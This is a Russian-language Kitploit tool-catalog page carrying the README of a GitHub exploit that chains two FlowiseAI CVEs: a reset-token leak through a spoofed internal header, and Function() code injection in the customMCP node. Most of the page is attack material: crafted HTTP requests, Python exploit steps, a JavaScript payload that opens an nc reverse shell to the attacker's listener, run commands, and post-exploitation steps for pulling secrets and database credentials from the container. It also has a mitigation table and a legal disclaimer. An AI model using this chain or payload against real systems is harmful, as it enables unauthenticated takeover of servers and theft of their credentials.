Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
FlowiseAI-Critical-KillChain — Критическая неаутентифицированная цепочка атак, приводящая к полному удаленному выполнению кода в FlowiseAI (CVE-2025-58434 + CVE-2025-59528) | Kitploit
Инструменты/GitHubGitHub/cveteam/flowiseai-critical-killchain
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияОбучение и ОбразованиеRed TeamingРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
cveteam/flowiseai-critical-killchain

FlowiseAI-Critical-KillChain

Критическая неаутентифицированная цепочка атак, приводящая к полному удаленному выполнению кода в FlowiseAI (CVE-2025-58434 + CVE-2025-59528)

Репозиторий
14 месяцев назадЕщё не проверено

FlowiseAI — Критическая цепочка атак

Неаутентифицированный захват аккаунта в связке с удалённым выполнением кода против FlowiseAI <= 3.0.5. Полная компрометация контейнера менее чем за 5 секунд, без каких-либо учётных данных.


Цепочка атак

Диаграмма цепочки атак FlowiseAI
Слева: страница входа FlowiseAI — Справа: root shell через CVE-2025-59528 · uid=0(root)


Содержание

  • Как это работает — обзор
  • Детали уязвимостей
    • CVE-2025-58434 — Раскрытие токена
    • CVE-2025-59528 — Удалённое выполнение кода
  • Почему эта цепочка опасна
  • Описание кода эксплойта
  • Использование
  • Пост-эксплуатация
  • Меры по смягчению
  • Ссылки

Как это работает — обзор

Этот эксплойт объединяет две независимые критические уязвимости в одну полностью автоматизированную атаку. Ни одна из уязвимостей по отдельности не гарантирует полной компрометации, но вместе они образуют законченную цепочку атак — от отсутствия учётных данных до root shell внутри Docker-контейнера.

root@kitploit:~
[Нет учётных данных]
      │
      ▼
① Использование forgot-password endpoint (без аутентификации)
      │  → Сервер отвечает токеном сброса жертвы в открытом виде
      ▼
② Отправка токена на reset-password endpoint
      │  → Атакующий устанавливает пароль администратора
      ▼
③ Вход + получение Bearer API ключа
      │  → Полная аутентифицированная сессия установлена
      ▼
④ Отправка JavaScript payload через customMCP node
      │  → Сервер выполняет его через конструктор Function()
      ▼
[Root shell внутри Docker контейнера]

Что делает атаку интерактивной с нулевым взаимодействием: на протяжении всей атаки жертва не получает ни письма, ни уведомления о входе, ни какого-либо видимого события. Всё происходит на стороне сервера.


Детали уязвимостей

CVE-2025-58434 — Неаутентифицированное раскрытие токена сброса пароля

CVSS 3.1: 9.8 Критический — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Затрагивает: FlowiseAI <= 3.0.5 (облачные + развёрнутые самостоятельно)
Рекомендация по безопасности: GHSA-wgpv-6j63-x5ph

Первопричина

В FlowiseAI существует концепция «внутренних» запросов — вызовов API между собственными сервисами, идентифицируемых HTTP-заголовком x-request-from: internal. Endpoint /api/v1/account/forgot-password использует этот заголовок, чтобы полностью пропустить аутентификацию и вернуть более развёрнутый ответ, чем для внешних вызывающих.

Проблема: этот заголовок никак не проверяется и не ограничивается. Любой атакующий из интернета может его отправить. Вместо того чтобы отправить письмо для сброса пароля, API возвращает полную запись пользователя — включая действующий tempToken, который можно немедленно использовать для установки нового пароля.

Почему это работает

Обычно процедура сброса пароля выглядит так:

root@kitploit:~
Пользователь запрашивает сброс → Сервер генерирует токен → Токен отправлен по EMAIL → Пользователь переходит по ссылке → Пароль изменён

В данном случае сервер пропускает этап отправки email и помещает токен непосредственно в тело HTTP-ответа. Атакующий перехватывает его и сразу переходит к шагу сброса — без доступа к почте.

Запрос

root@kitploit:~
POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal

{"user": {"email": "[email protected]"}}

Ответ 201 — раскрыта полная запись пользователя

root@kitploit:~
{
  "user": {
    "email": "[email protected]",
    "credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
    "tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
    "tokenExpiry": "2026-04-11T21:37:03.063Z",
    "status": "active"
  }
}

Затем tempToken отправляется непосредственно на endpoint сброса — без взаимодействия с email, без CAPTCHA, без ограничения скорости запросов.


CVE-2025-59528 — Удалённое выполнение кода через CustomMCP Node

CVSS 3.1: 10.0 Критический — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Затрагивает: FlowiseAI <= 3.0.5
Рекомендация по безопасности: GHSA-3gcm-f6qx-ff7p

Первопричина

FlowiseAI позволяет пользователям определять пользовательские MCP (Model Context Protocol) узлы с конфигурацией сервера, передаваемой в виде JSON-строки. Внутренне платформа должна разобрать эту конфигурацию — и делает это с помощью JavaScript-конструктора Function(), который функционально эквивалентен eval().

Строка конфигурации попадает в сток абсолютно нефильтрованной:

root@kitploit:~
// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — строка 262
const result = Function('return ' + mcpServerConfig)();
//                       ↑ нефильтрованные пользовательские входные данные — произвольное выполнение JS

Почему Function() так же опасен, как eval()

Function('return ' + code)() делает следующее:

  1. Создаёт новую JavaScript-функцию с code в качестве тела
  2. Немедленно вызывает её
  3. Возвращает результат

Это даёт атакующему полный контекст выполнения JavaScript с доступом к process, require, child_process и всей среде выполнения Node.js — это не песочница.

Поток данных — от HTTP до shell

root@kitploit:~
HTTP POST /api/v1/node-load-method/customMCP
  └─ body.inputs.mcpServerConfig                  ← строка, контролируемая атакующим
       └─ substituteVariablesInString()            ← без фильтрации, передаётся насквозь
            └─ convertToValidJSONString()          ← без фильтрации, передаётся насквозь
                 └─ Function('return ' + input)()  ← здесь выполняется произвольный код

Инъекционный payload

root@kitploit:~
({x:(function(){
  const cp = process.mainModule.require("child_process");
  cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
  return 1;
})()})

Почему mkfifo, а не /dev/tcp?
Контейнер использует /bin/sh, а не /bin/bash. /dev/tcp — это функция, специфичная для bash; она отсутствует в стандартных POSIX-оболочках. mkfifo создаёт именованный канал, работающий в любой POSIX-совместимой оболочке, что делает реверс-шелл переносимым между различными контейнерными средами.


Почему эта цепочка опасна


Описание кода эксплойта

Эксплойт состоит из четырёх последовательных шагов, каждый из которых соответствует одной фазе цепочки атак.

Шаг 1 — Сбор токена (CVE-2025-58434)

root@kitploit:~
r1 = session.post(
    f"{TARGET}/api/v1/account/forgot-password",
    headers={"x-request-from": "internal"},
    json={"user": {"email": EMAIL}}
)
temp_token = r1.json()["user"]["tempToken"]

Что происходит: Сервер считает, что это внутренний вызов между сервисами, из-за заголовка x-request-from: internal. Он пропускает стандартный путь отправки email и возвращает полную запись пользователя — включая действующий токен сброса пароля — непосредственно в теле HTTP-ответа 201.

Почему это работает: Проверка заголовка является чисто строковой, без криптографической верификации. Любой вызывающий может установить этот заголовок. Бэкенд не проверяет источник запроса.


Шаг 2 — Захват аккаунта

root@kitploit:~
session.post(
    f"{TARGET}/api/v1/account/reset-password",
    headers={"x-request-from": "internal"},
    json={"user": {"email": EMAIL, "tempToken": temp_token, "password": NEW_PASS}}
)

Что происходит: Похищенный tempToken отправляется вместе с новым паролем, выбранным атакующим. Сервер проверяет токен (он действителен и активен), подтверждает совпадение email и обновляет хеш учётных данных — без подтверждения по email, без дополнительной проверки.

Почему это работает: Валидация токена проверяет только то, что токен существует и не истёк. Она не проверяет, что тот, кто сгенерировал токен, является тем же, кто отправляет сброс. Владение токеном никогда не подтверждается.


Шаг 3 — Сессия + извлечение API ключа

root@kitploit:~
# Вход с новым паролем
session.post(f"{TARGET}/api/v1/auth/login",
    json={"email": EMAIL, "password": NEW_PASS})

# Получение Bearer API ключа, необходимого для RCE endpoint
r4 = session.get(f"{TARGET}/api/v1/apikey")
api_key = r4.json()[0]["apiKey"]

Что происходит: Обычный вход с новым паролем атакующего устанавливает полноценную административную сессию (на основе cookie). Затем сессия используется для получения API-ключа платформы по умолчанию, который требуется для аутентификации запросов к endpoint node-load-method, используемому на шаге 4.

Почему это работает: На этом этапе атакующий И ЕСТЬ администратор — он владеет учётными данными. Сессия и API-ключ легитимно выданы сервером.


Шаг 4 — Удалённое выполнение кода (CVE-2025-59528)

root@kitploit:~
js_payload = (
    '({x:(function(){const cp = process.mainModule.require("child_process"); '
    f'cp.exec(`{revshell}`); return 1;}})()'
)
session.post(
    f"{TARGET}/api/v1/node-load-method/customMCP",
    headers={"Authorization": f"Bearer {api_key}"},
    json={"loadMethod": "listActions", "inputs": {"mcpServerConfig": js_payload}}
)

Что происходит: Payload представляет собой самовызывающуюся JavaScript-функцию (IIFE), замаскированную под JSON-совместимый объект. Когда convertToValidJSONString() обрабатывает его, значение попадает внутрь Function('return ' + input)() — и выполняет его как живой JavaScript с полным доступом к среде выполнения Node.js. child_process.exec() запускает команду реверс-шелла, устанавливая соединение обратно с прослушивателем атакующего.

Почему обёртка IIFE? Шаблон Function('return ' + x) ожидает, что выражение может быть возвращено. Обёртывание вредоносного кода в ({x: (function(){ ... })()}) делает всё выражение допустимым JavaScript, который вычисляется в объект — удовлетворяя парсеру, при этом исполняя payload как побочный эффект.

Почему nohup + disown? HTTP-запрос имеет тайм-аут. Без отсоединения процесса оболочка умрёт, когда запрос истечёт. nohup + disown отсоединяет реверс-шелл от процесса Node.js, сохраняя его живым независимо.


Использование

root@kitploit:~
# 1. Сначала запустите свой прослушиватель
nc -lvnp 4444

# 2. Запустите полную цепочку атак
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444

# 3. Если пароль администратора уже был сброшен в предыдущей попытке
python3 exploit.py -ip <TARGET_IP> -lhost <YOUR_IP> -lport 4444 --skipreset

Аргументы

Требования

root@kitploit:~
pip install requests

Пост-эксплуатация

После получения оболочки контейнер обычно запускается от root с доступом ко всей среде приложения FlowiseAI:

root@kitploit:~
# Секреты и учётные данные
env                       # API ключи, URI баз данных, сервисные учётные данные в переменных окружения
cat .env                  # Файл конфигурации FlowiseAI — пароли баз данных, JWT секреты

# Внутренности приложения
ls /app/packages/         # Структура монорепозитория — исходный код, конфиги, node_modules
cat /app/packages/server/.env

# Контекст контейнера
cat /proc/1/cmdline       # Какой процесс является PID 1 — подтверждает окружение контейнера
hostname                  # ID контейнера
cat /etc/hosts            # Карта внутренней сети — другие доступные сервисы

# Кандидаты для латерального перемещения
env | grep -i "db\|mongo\|postgres\|redis\|key\|secret\|token\|pass"

Меры по смягчению


Ссылки

  • Рекомендация по безопасности FlowiseAI — CVE-2025-58434
  • Рекомендация по безопасности FlowiseAI — CVE-2025-59528
  • NVD — CVE-2025-58434
  • NVD — CVE-2025-59528
  • OWASP: Тестирование слабых функций смены или сброса пароля
  • CWE-94: Некорректный контроль генерации кода

Отказ от ответственности

Этот репозиторий и весь сопутствующий код публикуются строго для образовательных целей и разрешённых исследований безопасности.

Обе уязвимости публично раскрыты и исправлены начиная с FlowiseAI 3.0.6. Тестирование против систем, которыми вы не владеете или на которые у вас нет явного письменного разрешения на оценку, является незаконным в соответствии с применимым законодательством — включая, но не ограничиваясь, Законом о компьютерном мошенничестве и злоупотреблениях (CFAA), Законом о неправомерном использовании компьютеров (Computer Misuse Act) и Директивой ЕС NIS2.

Авторы не несут ответственности за любой ущерб, возникший в результате неправомерного использования этого материала.


0H4K3D · CVE Team

Скачать инструмент
СвойствоПодробности
Не требуется учётных данныхАтакующий начинает с одним лишь IP-адресом цели
Нулевое взаимодействие с жертвойНи фишинга, ни кликов, ни социальной инженерии
Нет ограничения скорости запросовEndpoint сброса не имеет троттлинга — возможен брутфорс при необходимости
Нет CAPTCHAВ процедуре сброса отсутствует проверка на человека
Нет подтверждения по emailСмена пароля происходит мгновенно, бесшумно, необратимо
Полная среда выполнения Node.js при RCEchild_process, файловая система, сеть — не песочница
Запускается от root в DockerКонтейнер обычно запускается от root, полный доступ к файловой системе
Затрагивает облачные и самостоятельные развёртыванияЛюбая установка <= 3.0.5 уязвима
ФлагОписаниеОбязательный
-ipIP-адрес цели✅
-lhostВаш IP для обратного вызова реверс-шелла✅
-lportВаш порт прослушивания✅
--skipresetПропустить CVE-2025-58434 (фазы 1 и 2) — используйте, если аккаунт уже скомпрометирован❌
ИсправлениеПриоритет
Обновиться до FlowiseAI ≥ 3.0.6🔴 Немедленно
Заблокировать x-request-from: internal на обратном прокси — он никогда не должен приходить из интернета🔴 Немедленно
Ограничить /api/v1/account/* только аутентифицированными сессиями🔴 Немедленно
Очищать mcpServerConfig — никогда не передавать пользовательский ввод в Function() или eval()🔴 Немедленно
Добавить ограничение скорости запросов и CAPTCHA на все endpoint сброса пароля🔴 Немедленно
Изолировать экземпляр FlowiseAI от интернета, если публичный доступ не требуется🟠 Высокий
Запускать контейнер не от root🟠 Высокий
Включить обнаружение аномалий на endpoint сброса пароля и MCP🟡 Средний
Провести аудит всех endpoint, принимающих x-request-from, и убедиться, что они не могут быть вызваны извне🟡 Средний